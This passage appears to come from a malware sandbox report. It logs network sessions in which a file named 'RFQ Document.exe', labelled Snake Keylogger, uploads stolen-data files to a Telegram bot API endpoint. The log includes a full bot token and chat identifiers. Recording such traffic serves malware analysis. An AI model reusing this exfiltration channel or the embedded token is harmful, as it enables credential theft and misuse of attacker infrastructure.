{"ok":true,"result":{"message_id":12935,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808809,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.4	50188	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:09 UTC	556	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fde869e7 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:09 UTC	556	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 64 65 38 36 39 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fde869e7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:09 UTC	556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:09 UTC	557	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12936,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808809,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.2.4	50189	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:09 UTC	557	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fe135406 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:09 UTC	558	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 65 31 33 35 34 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fe135406Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:09 UTC	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:09 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:09 UTC	558	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12937,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808809,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49812	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:28 UTC	57	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c6a4595f Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:28 UTC	57	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 36 61 34 35 39 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c6a4595fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:28 UTC	58	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:28 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:28 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12617,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808708,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49813	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:29 UTC	59	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c6c35844 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:29 UTC	59	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 36 63 33 35 38 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c6c35844Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:29 UTC	59	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:29 UTC	60	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12618,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808709,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49814	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:29 UTC	60	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c6e97fa6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:29 UTC	60	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 36 65 39 37 66 61 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c6e97fa6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:29 UTC	61	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:29 UTC	61	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12619,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808709,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49815	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:29 UTC	62	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c71df22a Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:29 UTC	62	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 31 64 66 32 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c71df22aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:29 UTC	62	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:29 UTC	63	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12620,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808709,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49778	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:21 UTC	6	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c25218b6 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:21 UTC	6	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 35 32 31 38 62 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c25218b6Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:21 UTC	6	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:21 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:21 UTC	7	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12583,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808701,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49816	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:29 UTC	63	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c73cf0fb Host: api.telegram.org Content-Length: 407
